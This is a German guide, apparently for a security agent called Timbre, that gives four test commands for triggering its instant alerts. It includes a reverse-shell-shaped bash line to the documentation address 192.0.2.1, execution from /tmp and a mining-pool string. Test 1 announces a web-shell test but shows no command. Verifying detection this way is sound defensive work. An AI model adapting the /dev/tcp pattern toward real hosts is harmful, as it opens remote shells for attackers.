Funktioniert das bei mir?

Vier Befehle, die Timbre auslösen — harmlos, in Sekunden rückgängig, und jeder trifft genau einen Sofortindikator.

Ein Sicherheitswerkzeug, das man nicht ausprobieren kann, muss man glauben. Das hier muss man nicht glauben.

Die folgenden Befehle lösen jeweils genau einen Sofortindikator aus. Sie sind in Sekunden wieder rückgängig, richten keinen Schaden an und hinterlassen nichts. Der Alarm sollte in unter einer Minute bei dir sein.

Einzeln ausführen, nicht alle auf einmal. Sonst enthält dieselbe Meldung vier Indikatoren, und du siehst nicht, welcher von welchem Befehl kommt.

1 · Shell unter dem Webserver #

Der aussagekräftigste Test — er sieht einer echten Web-Shell zum Verwechseln ähnlich, und das ist gewollt. Ein Angreifer, der über eine Lücke in einer Webanwendung hereinkommt, führt Befehle unter genau diesem Konto aus.

Läuft auf dem System kein Webserver, gibt es das Konto nicht — dann ist dieser Test nicht anwendbar, und das ist kein Fehler.

Was Timbre daran erkennt: eine interaktive Shell unter einem Dienstkonto, das normalerweise keine startet.

2 · Start aus einem Ablageverzeichnis #

cp /bin/true /tmp/timbre-test && /tmp/timbre-test; rm /tmp/timbre-test

Kopiert ein harmloses Systemprogramm nach /tmp, führt es aus und löscht es wieder.

Was Timbre daran erkennt: ein ausführbares Programm, das aus einem Verzeichnis gestartet wird, in dem nur Daten liegen sollten — der häufigste Weg, auf dem nachgeladener Schadcode zur Ausführung kommt.

3 · Muster einer Rückwärtsverbindung #

timeout 1 bash -c 'exec 3<>/dev/tcp/192.0.2.1/4444' 2>/dev/null

Es verbindet sich nirgendwohin. 192.0.2.1 liegt im Netz, das ausdrücklich für Dokumentation reserviert ist (RFC 5737); dort antwortet nichts. Erkannt wird die Gestalt des Aufrufs, nicht sein Erfolg.

Ohne bash — auf Alpine oder OpenWrt — gibt es /dev/tcp nicht. Dort ist dieser Test nicht anwendbar.

Was Timbre daran erkennt: die Bauart einer Rückwärtsverbindung, mit der sich ein Angreifer den Weg zurück offen hält.

4 · Schürf-Muster in der Aufrufzeile #

bash -c 'echo stratum+tcp://pool.example:4444; sleep 1'

Gibt eine Zeichenkette aus, die wie die Konfiguration eines Schürfprogramms aussieht. Es wird nichts gerechnet und nichts verbunden.

Was Timbre daran erkennt: das Protokoll, mit dem Schürfprogramme ihren Pool ansprechen — es steht bei praktisch allen in der Aufrufzeile.

In einem Container #

Alle vier Befehle funktionieren auch dort, mit einer Einschränkung: Der Agent muss den Prozess sehen können. Läuft er im selben Namensraum (--pid=host, so wie es die Installationsanleitung vorgibt), sieht er ihn. Läuft er in einem eigenen Container ohne geteilten Namensraum, sieht er nur seine eigenen Prozesse — und dann meldet er ehrlich nichts.

Wenn nichts kommt #

Kommt nach einer Minute keine Meldung, liegt es meist an einem von drei Dingen:

1. Die Prozesswache läuft nicht. Sie braucht einen Netlink-Anschluss; auf Systemen mit SELinux oder AppArmor kann der verweigert sein. Im Dashboard steht das dann am Gerät.
2. Der Sofortkanal ist gedeckelt. Er meldet höchstens sechs Ereignisse je Stunde und lässt zwischen zwei Meldungen fünf Minuten Abstand — wer alle vier Befehle hintereinander ausführt, sieht deshalb nicht vier Meldungen.
3. Der Agent misst gerade nicht. Ist die Sicherheitsprüfung am Gerät abgeschaltet, erhebt er nichts — auch keine Sofortindikatoren.

Was diese Tests nicht sind #

Sie prüfen einen Weg: den Sofortkanal der Prozesswache. Timbre erkennt weit mehr — Dateien, Netzverbindungen, Konten, Systemzustand —, und das meiste davon wird nicht in Sekunden ausgelöst, sondern über Tage gelernt. Wer diese vier Befehle ausführt und eine Meldung bekommt, weiss: Der Kanal steht. Er weiss noch nicht, wie gut die Grundlinie ist.